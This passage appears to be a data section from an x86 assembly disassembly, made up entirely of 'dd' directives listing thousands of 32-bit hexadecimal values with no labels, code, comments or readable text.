		dd 25E3024h, 0FF01C08h,	364C34B8h, 273CC38Ah, 60122D0Fh
		dd 83B4113Ch, 0D84E8405h, 4FE5F7Fh, 12CC6630h, 6809A1F8h
		dd 0B35E74B1h, 0B15A564Bh, 990E2152h, 0EB10D38Ah, 0B70F5A10h
		dd 0A03CC067h, 9C171D9h, 80B0B018h, 652D1D35h, 0AE74C850h
		dd 22E50026h, 10746852h, 0E9167667h, 32F377DAh,	31A0C410h
		dd 15592855h, 0B3482A63h, 137BF01Ah, 71C0C72h, 0F9ACD531h
		dd 7E6C3909h, 0B4D8C267h, 576BE551h, 0B820A4EEh, 4455DAFh
		dd 0C57CED02h, 0AB57D819h, 7795F5E3h, 0FE71D98Bh, 0E2DAC2F4h
		dd 0FC00C90Ah, 0C152B03Ah, 0E6DCA0EEh, 617B7C70h, 4D8C0C74h
		dd 0F6A1309Dh, 77350B02h, 0E82BE96Fh, 7DE4C0ABh, 60DC7F07h
		dd 0F48004D4h, 0E15E8855h, 0FCE95481h, 53A002Eh, 35F07A6h
		dd 391F60EAh, 0AADB3B9Bh, 9EC01E9Dh, 0CB369E2Bh, 80DED1A7h
		dd 5ABEC283h, 80CE6A2h,	4369067Ch, 0B20C9802h, 0ACF001Bh
		dd 3BF2B82h, 5A87A83Dh,	4B3DC7F3h, 1B990A75h, 690D983Fh
		dd 7E6EF10Ah, 9F0F97EEh, 19202DC3h, 0B7F0103Dh,	7D400F05h
		dd 4A3CE940h, 0B5547789h, 5E9DBCB2h, 516A3CEAh,	0A3D1BDh
		dd 29C91956h, 0CA25E94Dh, 90A6662h, 5BB1571h, 0F2C070BBh
		dd 3A483B6Bh, 39AD1035h, 0E3C15B0Fh, 7E400AD7h,	0D2EDE4EEh
		dd 8C8192C8h, 0C6124135h, 57995A60h, 0E9697F04h, 0DDEBFA03h
		dd 0CC133F29h, 0CB01BDACh, 14C93F32h, 61B88443h, 0DBC0D87Ch
		dd 77505DEBh, 25C5E489h, 77DA5B58h, 0C176D90Fh,	6054A71h
		dd 1DA45D17h, 0E00C1215h, 37BD226Ah, 298914E3h,	31347A44h
		dd 41B50C14h, 0D7C42C1Ah, 0E91266F2h, 78CFE138h, 0AD31ADDEh
		dd 0FB68138Bh, 6A6DB474h, 451649E8h, 0F7B50107h, 45D96B9Eh
		dd 3BA9822Fh, 0C0473C3h, 105A6815h, 636F1BBh, 14810C08h
		dd 27453E5Dh, 71A84B16h, 966552C5h, 16B78415h, 0AA39E038h
		dd 6C960EDh, 0A2539DA2h, 105FFADh, 9739FFD1h, 0AA5A3022h
		dd 7F5C1F72h, 802C999h,	7EF641A9h, 0D92917C1h, 0AD09E8D6h
		dd 0AFB1DE90h, 0A9A1E4F8h, 142A6006h, 8FF28FCBh, 0D6F9C4FCh
		dd 60754BDh, 0B4187320h, 3A89E50Bh, 4071D6A0h, 429083CBh
		dd 6F4F22F0h, 0FD93D0F3h, 5692856Eh, 0C45FA2F7h, 3278BA8Dh
		dd 47EE9D5Ch, 800E1EB1h, 8BFA1630h, 38D84C80h, 64AB4FBBh
		dd 6A31C894h, 92A83B5h,	0F78201CFh, 238416B6h, 9513204Fh
		dd 0A0219C03h, 2EB113E9h, 3ABFBD67h, 7434D26h, 0B91CECE5h
		dd 83F915E3h, 0D38842EDh, 572530D4h, 5834A43Eh,	0D1AB184Eh
		dd 7A5AF32Eh, 1688D10Eh, 84D7A3F9h, 0BA0A1639h,	6B3B917h
		dd 0BB56602Dh, 0DB25F2Dh, 6D9010DDh, 0A85E9FDAh, 4195168Dh
		dd 0FDEA5861h, 689762CCh, 0BDAAB12Ah, 2F414C11h, 0AC4A53BDh
		dd 54610B5Ah, 0A13A0F6Ch, 64631CA6h, 0E972C27Eh, 0F6AE088Eh
		dd 0A038FBF7h, 68E8CCB2h, 8A812812h, 0CBE47A54h, 1F69EE7h
		dd 734610B8h, 0EBCDE821h, 0CFA25E97h, 4A5D6569h, 0A029DD6Eh
		dd 5AD6D448h, 0A2F51DC7h, 3182C9B0h, 0A710A0E8h, 6F3081B7h
		dd 80395EE2h, 0C1FE0C8Ch, 0B33D200Ah, 0EDEB1BA8h, 4230BA06h
		dd 0BCDA01B4h, 75D389E9h, 0ABB73194h, 20DDF70Ah, 24073EFEh
		dd 0FD097A9Ah, 72BB81F2h, 42874583h, 8001E8D6h,	0E7CC18CFh
		dd 9276F60Fh, 685700D4h, 529609B4h, 0CF01815Fh,	6C901566h
		dd 0D7EE7D1h, 1057EFD9h, 0D3C4138Bh, 5A38024Dh,	0E9C6BCFDh
		dd 969F3161h, 78519D89h, 0C445E9C1h, 877DBD3Bh,	0FC099068h
		dd 3871D2AFh, 0B508ACCh, 9D99E953h, 9363127Ch, 68642EB7h
		dd 902C22E9h, 71B0F28h,	0CF29426Bh, 6A0190B1h, 552B398h
		dd 3E685A58h, 12215E4Ah, 80B8A911h, 5B6546C4h, 0D342EABFh
		dd 1216AB0Ah, 5DB2A29Dh, 5907CFACh, 3DC9E304h, 83CCD5F0h
		dd 0CDE3B44Fh, 2282578h, 0A380C5D9h, 0B96C6453h, 0DE122E93h
		dd 0A7821D07h, 0CE5F901Ah, 4421A03Ch, 36D7487Dh, 25685603h
		dd 0BA9DE735h, 481C2300h, 4EE94FDEh, 0BDF20F15h, 1D630F60h
		dd 4400CD81h, 522A661Fh, 2FA11CBAh, 0C3583429h,	4158E29Dh
		dd 3D2ADBFEh, 0B23682F7h, 40357279h, 44A9BFAh, 0DAE942C3h
		dd 13F6F2DFh, 44BAA368h, 0F36DD055h, 0D82DE1h, 6E8C1D5h
		dd 0BD560B05h, 1EFC4E9Dh, 0B9000A26h, 0E9450A71h, 8144920h
		dd 16AA1184h, 43107001h, 40CE52B8h, 2775A4Dh, 0DA312A84h
		dd 127636E9h, 5852EE98h, 72803B08h, 12BB0B78h, 838A4FB8h
		dd 3BE95875h, 6E10076Bh, 27789D81h, 5E5DDABFh, 0FB1AC553h
		dd 5CA288B2h, 4048D977h, 0F466D8F7h, 8CF9704Ah,	0A5E0AD6h
		dd 0E181807Ch, 6A2B371Fh, 5A0859A5h, 2B763AA0h,	0D99CAFDh
		dd 0F8974D05h, 860043Ch, 0B3066CA3h, 1AC0B73Eh,	5F8196A4h
		dd 37D1C769h, 0FD42FCC5h, 648CD6D4h, 0FE30B75Ch, 0B24DE954h
		dd 0D4881D82h, 0FB40BCD7h, 2C5A9404h, 0D8280589h, 214FE768h
		dd 2D09135h, 736C575Ch,	5FFB3B88h, 0E7CB9696h, 50518ED3h
		dd 25D18847h, 0C188C1C8h, 915802ACh, 0CC7B2965h, 0B44C62AFh
		dd 5166C012h, 7E880CB5h, 9FF57FEEh, 173DD1F3h, 1AD4D427h
		dd 458C0EAh, 507E7D88h,	0C3E42D5Fh, 0A207F331h,	0DBF6F5FEh
		dd 74E06B4Eh, 5BD8C055h, 0B5FCF68h, 79A27D31h, 5B2C0405h
		dd 0F6D9FF4Fh, 9A14E060h, 0BA94BD3Dh, 47005CBDh, 0D8980B02h
		dd 0CA4910E9h, 0B1C903AFh, 0B0488E56h, 242764F1h, 2DC0D75Eh
		dd 0B3FBD8C3h, 0F5D8AEBAh, 7DC80500h, 67354117h, 84122F7Bh
		dd 6479D5Eh, 172F65CEh
		dd 9C0774EDh, 0E20BFD2Dh, 5268C433h, 0E12F19D4h, 0DD7E6A20h
		dd 57AD607Bh, 564FCFBBh, 0B38006C3h, 55A0E270h,	1D93E60Eh
		dd 0B3534FCBh, 3BFE2D9Ch, 37705959h, 0E9160942h, 0DC4AD55h
		dd 0F4355C01h, 52419037h, 17B0F20h, 0BA09826Ch,	4174B74Eh
		dd 4ED4FBE8h, 0DB4E7DB2h, 12B8340Bh, 58EAF7C2h,	0E7090B5Ch
		dd 0C88B48CAh, 0A8D7580Ah, 265A977Fh, 0F838E029h, 6ECEF6A5h
		dd 0DC0CF0D3h, 24EF94BFh, 82617F79h, 0F9215EF7h, 9B679D5h
		dd 205539E9h, 5FA2E55Eh, 512F48BAh, 0DA4E2C01h,	3A88E911h
		dd 0BCE9F916h, 561C39C5h, 0C8CAEE48h, 153FE90Dh, 0FDA1D85Fh
		dd 9A9F609h, 9777CCAh, 55D2F8Dh, 26F90167h, 0CB27C14Eh
		dd 170776E7h, 28FDD921h, 2651668Fh, 871CC8D2h, 0F6E54589h
		dd 0D9010994h, 206A2FCh, 9D22E80h, 1D0D26E6h, 12C4A600h
		dd 43501E9Ch, 0DE4097DAh, 0A4DE9D59h, 0A648408Fh, 0A098AC80h
		dd 250DB1F2h, 73D6CA28h, 59FFC5Ah, 45F3F2E9h, 0D3A6C7BCh
		dd 0B4EC2F5h, 0CB4E40FCh, 3D03D444h, 0A559BB97h, 0F7AB0249h
		dd 93C340D9h, 0E7415872h, 4B837D10h, 34684A81h,	667DCC2Fh
		dd 5D30125Fh, 1CEE0AF2h, 9AFD3116h, 2BD608EFh, 2B88D15h
		dd 0B02D94BAh, 0BCB4611Bh, 4D94E572h, 0B3550214h, 1BE97050h
		dd 7E69F246h, 6CEC2ABAh, 4D4F0E25h, 272808ADh, 0DBDCD82h
		dd 0C555E082h, 15B00147h, 5DEE2980h, 0FCF77F87h, 0B192681Ch
		dd 68A39F45h, 0D9A99BE8h, 992449BFh, 2B426F0Dh,	0B130C5D2h
		dd 43A7E042h, 49425C5h,	0C20A0EF3h, 0BFE2E5Bh, 125691BDh
		dd 0B652F583h, 93C4DF66h, 680EF8E2h, 0BA163726h, 0BB032ACAh
		dd 21E87B61h, 0F960EBF4h, 0BE4F0668h, 0BE196480h, 8682C95Dh
		dd 0D51D9A09h, 8832D70h, 442AB812h, 12E502ACh, 781492EDh
		dd 46EE5D80h, 0E0BFB050h, 4C45045Ch, 28023A30h,	0D9F65AF1h
		dd 2D662BE1h, 18AB0420h, 0C7006401h, 57B2AD3h, 0CF100583h
		dd 0C00C0831h, 1C967353h, 54A8365Fh, 3D87DC17h,	5C27E7Ch
		dd 0C04266A1h, 0E42B464Ah, 0CF58017Dh, 761F20BAh, 567A2942h
		dd 0F03089B0h, 723869C4h, 64BA4E48h, 0D240C2ECh, 2556C6F7h
		dd 0D6D4649Dh, 851B144Ah, 64C0F2E3h, 0E9C65888h, 0BAC5C492h
		dd 0BE5D2C9Ch, 68DAC3FBh, 0D8F7AF85h, 0EFDE0115h, 899FF892h
		dd 2DF376BAh, 776B7E59h, 7FEB3F61h, 5DEA4F90h, 31315C15h
		dd 3AB3921Bh, 9FB8A2CCh, 52D289CBh, 486073F2h, 0CC1770C6h
		dd 8494FDA2h, 0C9986162h, 0AC584F1Ch, 0F159B39Ch, 842C478Ah
		dd 7C76D9C0h, 0E91B5F3Fh, 0B4A5B0A0h, 5A6093AEh, 9E10E06h
		dd 0BCB201B4h, 0E568057Fh, 9165EE66h, 35A6C7BEh, 1D798C6h
		dd 765EF127h, 62F55A8Dh, 0F3C460C6h, 0CCEE9F35h, 95A41A20h
		dd 0E102D5FCh, 0F56B449Fh, 0D2591F41h, 0ABC340DDh, 7B802532h
		dd 17381AE4h, 5695709Ch, 0C4B7343h, 0A3A200ECh,	480465Dh
		dd 1D2C96C7h, 0CD50EF2Ah, 0BE560208h, 8E90629Fh, 291F8888h
		dd 0F7DC4B88h, 0F96DA4C0h, 0CD05001Fh, 35152932h, 1006085h
		dd 567E252Ah, 0B6504B37h, 0D0E90627h, 2D0046A6h, 1FCC7747h
		dd 0A205F829h, 13185307h, 0BA81C07Dh, 0D52777B0h, 0E2116017h
		dd 814A3A07h, 466A4107h, 2DF26023h, 0C3B5D253h,	4EE3F1C4h
		dd 6E0FBC6Ah, 243429D0h, 0A6EB589Dh, 0C6E982A6h, 60657C7Dh
		dd 10058514h, 9757D8B5h, 945FA9E2h, 53562895h, 656C00A1h
		dd 3CBB62A4h, 4B0FFA78h, 0A25EF331h, 0A0A1E2B4h, 0A32F8FAh
		dd 46029F59h, 570B8EACh, 0D06F683h, 83F6AE85h, 9776767Ch
		dd 0F8200E46h, 0F48198D3h, 0C558C7FEh, 1DB83B7h, 0BCE2EADCh
		dd 5373E916h, 0DF7CD1AEh, 0C821006Fh, 0E8C11E59h, 2D9BC918h
		dd 8BC8327h, 3A8B5188h,	0AEE1881Ch, 8058027Fh, 978A31F2h
		dd 16D5A797h, 0A2A42725h, 57001A57h, 42F77742h,	6B7977EEh
		dd 5DD1EE89h, 37EBF390h, 1484C0Bh, 783004C1h, 0D67700E3h
		dd 0EFDBD459h, 0DF5E3449h, 4830BA16h, 0EB802EF7h, 54681C78h
		dd 1EDD2D45h, 3E79FE9h,	0F869CD20h, 0F9BA4148h,	531D0E6Ah
		dd 7F5EE7CFh, 5BD8CBFBh, 463BAF42h, 0C0F5B3E9h,	305059CBh
		dd 0C3058085h, 8C6852F8h, 0E24F2BBh, 0BE9B7B0h,	73AFC9DEh
		dd 2FCDEBECh, 0CC14F901h, 89735695h, 0BFD884E9h, 53ECD69Dh
		dd 0C47C1253h, 0C0D9132Eh, 707CA830h, 0D8D9B50Fh, 13316EE9h
		dd 0EE148758h, 91B3E935h, 16418F50h, 0AF3B3464h, 99BF6184h
		dd 2BE610B6h, 2F5F381Bh, 31B84BAAh, 7E9721D0h, 12C5015Fh
		dd 4032DF4Dh, 63729B8Ch, 81F4734Eh, 57402F6h, 0A952E95Dh
		dd 808C5E04h, 3DD19556h, 9C33C32Dh, 97D8BCC6h, 0E47398DCh
		dd 0FF1C43A3h, 2189B9FBh, 8A401C6Fh, 19540868h,	0F330E913h
		dd 53B91073h, 551254Ah,	1DC22F7h, 1108325Ch, 47C1C91h
		dd 4B295ABFh, 0C60B905Eh, 855FBEECh, 0BBB12A41h, 36301303h
		dd 0EEC0C4FEh, 761E213Fh, 98E7014Fh, 0E9081B4Eh, 6EE125D6h
		dd 407B6BB6h, 0ED0781A0h, 3F2873DFh, 3AAACD60h,	0C01B4A8Dh
		dd 38E2F5EDh, 0EDAE7260h, 7CBA66EAh, 0FCC302A7h, 291E964Eh
		dd 820FCDCh, 88FA65B7h,	870678D9h, 0B0064EF5h, 0BCE5BFBAh
		dd 0B1D9A26h, 6AB20EE1h, 1D0BD30Bh, 9AC6C242h, 6E8A3FFFh
		dd 0FA25F28h, 74AF1964h, 6A7CCEC0h, 30984D3Dh, 0E439955Fh
		dd 2D92E93Fh, 8E2C5659h, 0EA1760BAh, 0D84FDD8Ah, 0F54A68B6h
		dd 0E8B5D322h, 0F05BDF18h, 4A705D0Dh, 982BD584h, 0D7FAF2A7h
		dd 0F4AEB1BDh, 5A004078h, 685BD931h, 0C69D2E83h, 0BFF438C3h
		dd 0EF585E70h, 0A680E60h, 0C799BF3Eh, 97E9C856h, 57F35C4Bh
		dd 7D64FB93h, 4FB28313h, 85B5A892h, 4DE98BFDh, 99FB710h
		dd 0DEA874Ah, 162F0816h, 7F26FB2Dh, 17E77750h, 0FE265417h
		dd 66601840h, 2DE93C1Bh, 0A39BD41Fh, 8B09BB92h,	21F801A7h
		dd 0E13F2EB7h, 5805D837h, 0EAC0085Eh, 61D51E85h, 113C1A07h
		dd 0F5F8FAB9h, 0F8F5092Dh, 59BB5CF7h, 0E12FB3A7h, 0A9579A2Ch
		dd 98D07317h, 7B2C595Ch, 528C382Eh, 0AE31FB4Bh,	8704ABFEh
		dd 427B0168h, 0DD132E64h, 1DD41700h, 122D7FBDh,	0B83E2460h
		dd 7A07E7Ch, 11491EE9h,	3DEF4A50h, 68CB0CDFh, 9630B94Fh
		dd 0B5EBA5E9h, 5650383Ah, 7C859480h, 3A14F724h,	0E8758B09h
		dd 82436406h, 81B993DEh, 0CB0552DCh, 9574EA01h,	3B2716FFh
		dd 0EA50AB66h, 59115808h, 0A0BE7EBFh, 70C7FA53h, 13FEB71Ch
		dd 11909C7Bh, 0FC7E1505h, 0D8291472h, 0A640072Dh, 52E06F1h
		dd 4D9F761h, 3CE8DFA3h,	81003326h, 0F90DBDF6h, 95F1310Bh
		dd 960BE778h, 5509B708h, 4455B089h, 55E22FACh, 0C726AF72h
		dd 0EF0F8358h, 4D1B63E6h, 3A05B3C1h, 0B02F1012h, 0A209CBF8h
		dd 7F0DE178h, 80595C02h, 10628EF6h, 64FD6C03h, 0AE33DA6Bh
		dd 5610048Bh, 40565146h, 928487ECh, 3ADAB2C1h, 0E2786F0Ch
		dd 0A48D4D24h, 758F0399h, 0F6023B51h, 18E66EB7h, 20635521h
		dd 74675098h, 27895C26h, 375B901h, 0ED2B4C34h, 0C4FD4BD1h
		dd 41A1C9F4h, 249DDF06h, 26EE5361h, 0CFA7164Ch,	0CE5A2450h
		dd 0F31310A3h, 162DEEBCh, 0D6E255F5h, 2DF58315h, 29D94C31h
		dd 0F660BFDDh, 0FDB81325h, 5C00D594h, 1E4C5E2Dh, 702C6864h
		dd 81FEB50Ah, 12156878h, 0CC488D1Ah, 0E925470Bh, 6805C03Eh
		dd 954512C7h, 0ED66004Bh, 727366E2h, 0F89F7890h, 0B85F9591h
		dd 9F5AD112h, 5D52957Eh, 0F4680710h, 0E2A64D4Bh, 5A2DA1DDh
		dd 670E2AD8h, 22547966h
		dd 4CA34C3Ah, 38F445C2h, 0B8805D2Dh, 72B01D85h,	0FFBE7DFAh
		dd 55A7DE23h, 0E6CAC002h, 8B4F53D9h, 7A7D54B4h,	97A57C55h
		dd 0ECD1C943h, 0D9A6A60h, 4B7601A0h, 19159D4h, 521B37BDh
		dd 0A7784D17h, 0EADBE9C2h, 8BFA532Fh, 478F8589h, 7D06E91Ah
		dd 315BA8E8h, 0F7E9D209h, 3DACE920h, 0B3D8AB35h, 0EB8018F4h
		dd 0F6D20621h, 4BABDB4Eh, 7F84B91Eh, 3D1D16E4h,	0A09162C5h
		dd 42CEB7B1h, 3E58FF99h, 0C80AAD09h, 0EA08F778h, 5B1607h
		dd 0FC3F4A75h, 345BE965h, 6966180Fh, 0DC077707h, 351979FDh
		dd 7D0F2F02h, 2E05D203h, 4FC130D2h, 44046DDDh, 1257EF8Fh
		dd 5AD64504h, 0A300AF1h, 5C30766Fh, 0BBB43759h,	807C97E6h
		dd 88819ECBh, 207AEB79h, 28A04695h, 0F1BFC9A9h,	423FAC0Ah
		dd 4D7D65E8h, 72E90641h, 0C8770D2Fh, 2F897C32h,	0A13B60E2h
		dd 450F2655h, 463902B6h, 8C6003D6h, 371D10E1h, 882C13Ch
		dd 0D1FEA1E9h, 707E8B51h, 0FBC934B3h, 6E5D7BA5h, 30339DDEh
		dd 0AA4E0A59h, 8E3F8B5h, 552FBF6Dh, 0EAD0706h, 68525C07h
		dd 0DD0B5DD3h, 0F6ADED65h, 5D52C04Fh, 0D930E95Ah, 0B5511174h
		dd 0EA882F2Ch, 0B17E85F7h, 26685E98h, 61D841D1h, 2E575854h
		dd 8962F263h, 902430BBh, 311A40EEh, 4D6CD662h, 0FAC00561h
		dd 7624EC09h, 0AABDC4E6h, 0CAABA44h, 6FBB69EAh,	0DC896AEDh
		dd 0FE3B94F0h, 88BAFECDh, 5040B30Eh, 0B1B04753h, 970A0A75h
		dd 7DA6B19Bh, 5B907727h, 0EEC7A19Ah, 0AB76DFF6h, 0CF312C6Bh
		dd 17083416h, 4C9FAE83h, 41D5DC11h, 9B5B2092h, 58BBF249h
		dd 6181CE3h, 56F240EFh,	76EA2F68h, 6A95A2C6h, 6386007Dh
		dd 6E3123AEh, 214BA2CDh, 7E0D1455h, 6223BC88h, 0C121DCA4h
		dd 75D17A69h, 9395C86Ah, 9CD3F739h, 10BE4292h, 681EE233h
		dd 0C4C66C78h, 153E832h, 0DC4A2ABAh, 0E341091Fh, 0F3C9DE31h
		dd 0E65208A5h, 0ADE95E0Bh, 243D6C27h, 0C11725B2h, 0A5D817E9h
		dd 0E4497054h, 52663EE8h, 0A55E8115h, 3F18E302h, 0AB804606h
		dd 22881B49h, 0D0A30CC1h, 0F16BDD73h, 0E3A92EB4h, 6F9FF0B5h
		dd 8038724h, 2D694127h,	3EE3B56Bh, 5D03A61h, 3BFCB16Bh
		dd 285EB1B2h, 9479E9D0h, 53A37EBFh, 26B5ACE9h, 79FE4A95h
		dd 0B453F06h, 0FE6172EAh, 59286CD6h, 0D0AE70C4h, 5AD78801h
		dd 65F92825h, 0B1510957h, 0C7C1FD80h, 194A10E9h, 98242A47h
		dd 0FB01AED1h, 0DE51613Ah, 5BC00439h, 5AAD3559h, 0F878F13Fh
		dd 94944FBAh, 8C3B68EBh, 9A3D3CAh, 74705321h, 2D2F4F7Dh
		dd 5EDA12B6h, 5DEB891Ch, 22E49C5Dh, 4F312EA5h, 41B3E6C1h
		dd 0ACC609DCh, 90895E3Fh, 9A0F2593h, 8D20B6Bh, 680508FFh
		dd 74E334E6h, 615D1F18h, 0B9961149h, 2F98FE88h,	4D016A76h
		dd 8928C36Bh, 5FBB33Bh,	5B62EBCFh, 0D7657FC2h, 17AE2159h
		dd 0C145DF7Ah, 6FC7E98Ch, 0E6C1305Ah, 7874EE5Ch, 564E717Bh
		dd 4FCFBB01h, 106F2302h, 0A9500707h, 0EC995EF3h, 0FC5CA6F1h
		dd 1655C06h, 4DC4A8C9h,	0EABA5203h, 0F129FE56h,	397EC399h
		dd 1824305Eh, 0DABFD9A6h, 2A86277Bh, 0F2E4C02Eh, 5E47D07Bh
		dd 7951382Ch, 16E578D8h, 0D5132959h, 16698ABEh,	0B3E320E8h
		dd 20C13D3Fh, 262CA179h, 9A12719Fh, 0D35857F0h,	5C68ABFCh
		dd 84F85FE9h, 9CA4EAA8h, 9D421797h, 5D1A440Fh, 80B2844Eh
		dd 1425CE7Ch, 0F8281A25h, 0B19A9730h, 0C44C0855h, 4FF79102h
		dd 0CCF35786h, 0C8BB7489h, 271428ECh, 0D34E4C0Dh, 694DF98h
		dd 9318BE01h, 843BC238h, 0AEF3EEAFh, 33DC5569h,	8749411Eh
		dd 986FD85Dh, 9343BEBDh, 0BD109EBh, 3E02DC11h, 0F4EB8465h
		dd 97419EAAh, 9295F40h,	4E660958h, 3105DEF7h, 0C242C408h
		dd 42FF44ABh, 774312A5h, 0F2C4CF62h, 5C77540Fh,	0A74C3801h
		dd 0B50E4C42h, 7879C607h, 6ADD69BFh, 0F2F3641Eh, 0CF8C480Eh
		dd 5EE046A2h, 0E6B172C0h, 4FA75A9Eh, 636A0931h,	66608876h
		dd 0B0670245h, 0D54F2008h, 0B8F2585Ah, 5AAFDC4h, 2383CFFEh
		dd 0CB0A4FCDh, 8045071Bh, 0DC0B64C2h, 0C46312AAh, 459DAAB0h
		dd 955E31F4h, 86A02AD3h, 0A1789D02h, 0D0C1E928h, 0B85E4ABFh
		dd 0C5E50580h, 3680406Ah, 256C14CAh, 12DF2937h,	6DD0DDC7h
		dd 0EF1C0397h, 8322FC30h, 73EB8001h, 271DAA2Bh,	3D3B585Ch
		dd 64AB7B68h, 7AD191C2h, 51A98A6h, 539E00AFh, 0BF483068h
		dd 0E927A894h, 491579C4h, 17A424D1h, 0A67B2700h, 5B42E91Eh
		dd 949A2B5h, 733FBE68h,	578E42DFh, 62655F07h, 0AEEB84EFh
		dd 1376632Ch, 0B7FCC34h, 1372AFC5h, 259C0858h, 6CD3CA59h
		dd 7CBA3C7Dh, 11EBE12h,	711D1CF5h, 6D912B28h, 4334203h
		dd 0C9308C0Ch, 444EE9CAh, 0F7EF6492h, 156C09AFh, 35074077h
		dd 0B616EBC4h, 0BF9425B4h, 8842084h, 14502DF9h,	1301B632h
		dd 28650580h, 5CAF87D9h, 0C0A1F010h, 192962E3h,	880C7C2Fh
		dd 3D358B6Ah, 5F52A5F6h, 0F4FAA906h, 87A705BDh,	0D644F2EAh
		dd 67BE9312h, 0BF269438h, 9BEEAC12h, 11C91874h,	2789D1D3h
		dd 34DB5931h, 17E2CC25h, 6301CA7h, 4F7808CBh, 16FAEA00h
		dd 0F7925D72h, 0B2FDE7D0h, 8768B184h, 0A5D98D01h, 4A9E754Fh
		dd 5004BFD3h, 5F0B9B6Ch, 57A209F5h, 51A77B4Fh, 2556A3Ch
		dd 548363EFh, 0C387656Ah, 7014D2B0h, 9C8B6257h,	41CF0F3Fh
		dd 0F1C016A1h, 0EC25576h, 43BB4095h, 4956DF57h,	0C9822251h
		dd 5044E2D4h, 0D1959FA3h, 0C9DD3046h, 0ACA03EEBh, 0ED681766h
		dd 15B0881Fh, 80E15C9Dh, 497DE181h, 0F9D2AF9h, 5FE00190h
		dd 0E9F84548h, 0E2CE1DE6h, 9AEF49CAh, 4E90AF4h,	488002E3h
		dd 153352D6h, 0E4F00144h, 0DF2550D4h, 7E603D94h, 0C931BF51h
		dd 19B09E0h, 697E5FF8h,	814C8A88h, 0F698381Bh, 4EE63C5Ah
		dd 0EF85C784h, 0C0EF2122h, 1F3FCE44h, 975D491Eh, 85F8C587h
		dd 9921BE2Bh, 862A914h,	5D6A092h, 3575920Bh, 2596240h
		dd 5D875B07h, 1E98A446h, 0FDC85E20h, 0E384EA2Ch, 71B80A6Fh
		dd 0B56268Ch, 4D944B1Ah, 0BE210173h, 2350160Ch,	0F7E4FA09h
		dd 0F4006C1Ah, 10BC29BBh, 995FB807h, 0D084EFBFh, 0E32E62BCh
		dd 6A164Ch, 6C427986h, 0F17D011Dh, 6ACA5773h, 94A5A759h
		dd 0BF54B500h, 9C6C036Bh, 0B23403A7h, 5AD43070h, 7C5EE182h
		dd 35B1726Fh, 0A56CF23Bh, 0BBA082BBh, 5DD7E257h, 2B8BCF5Bh
		dd 10FBE836h, 0E0799F6Eh, 0DEAC8EE5h, 4E37BE02h, 16E06131h
		dd 86261E49h, 0B9174C03h, 4861E497h, 54EC09A1h,	0BC6EE1C6h
		dd 2FB8A143h, 9A1C2762h, 0E162D70Bh, 0F5AD6F33h, 0ED0D0304h
		dd 0D7A3AB52h, 0E985097Fh, 0A9F53450h, 0A4E4DE1Ah, 0BD703FE1h
		dd 0FEE950D9h, 0C09158F9h, 7EE4BB81h, 43111529h, 906D1D1h
		dd 7424C27Ah, 595FC101h, 7727E90Fh, 0F484312Eh,	0FE01792h
		dd 30723F12h, 0F2104941h, 6F5EC82Ah, 22806D84h,	647F0F22h
		dd 0C08F5402h, 0CB0134DEh, 2F0870D0h, 8383F459h, 0B3C2142h
		dd 5C20C2Ch, 1E58560Dh,	4A36E9D0h, 5F68AAFFh, 44C530E9h
		dd 7C295A0Ah, 405876B7h, 51C4691Dh, 3B9502B8h, 2C52E0FFh
		dd 7C012519h, 0C829266h, 50AC987Dh, 2E9E14B8h, 0E810862Dh
		dd 0E6E84BD4h, 43320F01h, 0D83EBA13h, 609F69B8h, 123FBDC9h
		dd 0DDAD8ECh, 6EA26EC5h, 0A9E445B5h, 5889B2C7h,	3116CBD9h
		dd 41F4C929h, 2E3A1BEEh, 59B27E77h, 0EFBBC845h,	4DB9F0E3h
		dd 0ECD301C8h, 0A1A95BB5h, 460BD825h, 5A896657h, 0C208ECD3h
		dd 557110E9h, 0BE0B66EEh
		dd 0BA5452C8h, 95C2D2F7h, 0BD64365Fh, 82208ACCh, 2D5B0F97h
		dd 6401602Ah, 960BAF68h, 6EB12C7Fh, 0B06FFD2Fh,	0BB457E68h
		dd 796022F9h, 5854807Ch, 4EF25073h, 43E38795h, 0D99E78F2h
		dd 8F548B69h, 3DCBA5Dh,	803144E5h, 0DE40BF4Ch, 0E9CF030Bh
		dd 0C17BF28Bh, 0CEBFC14Ah, 9E90BE0h, 6B22D6BDh,	4A9A955h
		dd 5B09E01Ch, 91BCEA04h, 435EF268h, 0BEDAD6D5h,	59A3055Dh
		dd 0E9AC89BCh, 1B794727h, 71ADC94Ch, 6A8BA34Dh,	9CF5D27Fh
		dd 0CBAC20A8h, 183CD8BEh, 0C96B3CB6h, 0BC5C4E08h, 275B3762h
		dd 192D6841h, 90F73D93h, 53DE876Dh, 7089FF41h, 0A4CE2526h
		dd 57966827h, 351E2918h, 1DBD6FE1h, 0D466883h, 49FCAB84h
		dd 0E9D821A4h, 8F37E3Ah, 0FCBE55CBh, 0D2A62325h, 0F55F252Bh
		dd 0C6F0AFD5h, 2510C542h, 96751204h, 20F48E75h,	0D0955233h
		dd 90672025h, 38EAD8B7h, 5D70A42Dh, 0FBB4FB53h,	83350E9Eh
		dd 0B09B080Ch, 4BB55101h, 0EAC0CFB2h, 36B10A59h, 1087D130h
		dd 1CE64E91h, 6936F405h, 0BB9805Eh, 2E500862h, 0AD81D5E6h
		dd 9DA8E030h, 0BB8143F3h, 54081F5Bh, 2D0D6220h,	2BDC69A8h
		dd 0FF958107h, 2E4DF71Bh, 857D67AFh, 88B7C6E9h,	231608C9h
		dd 0A0024F5Ch, 0E0DE5001h, 18A7CDF8h, 604E0C1Ah, 622FB4C0h
		dd 0FFA8630Bh, 0B271033Fh, 53DE066Bh, 184D7075h, 8A6DF803h
		dd 0C7C12979h, 532D082Ah, 34EA082Bh, 0B2CF8100h, 9710636Dh
		dd 92036BD9h, 0F830B511h, 7B1BB9F3h, 9C3EC99h, 9CD3F5D9h
		dd 0FF6C0BDFh, 2C41776Ch, 0DA8BF7E5h, 0C6DF0668h, 7D03024Dh
		dd 0FCE9402Dh, 0EB4A685Fh, 0B419F008h, 89580536h, 84D5B9DFh
		dd 6F93F4CCh, 8F3BB932h, 0E6AAC5DFh, 192F344Dh,	995F5DA4h
		dd 0AE92BFD3h, 93B8F29Eh, 0A9CF04EBh, 8AB9AA96h, 3956BFCBh
		dd 88B9222Dh, 0F4D355ECh, 7288B2ECh, 60FE50E7h,	9DD74AD2h
		dd 4C88823Ch, 556A486Fh, 0B68C0F6h, 3BD7A527h, 0E92BE5A1h
		dd 2233E245h, 5605FDDCh, 0F65E49E4h, 0F8E14EE6h, 0D368C4D3h
		dd 2E578DEBh, 4B4E5ADFh, 0E6D0F8E2h, 8E4E77EAh,	0B5DC5FD0h
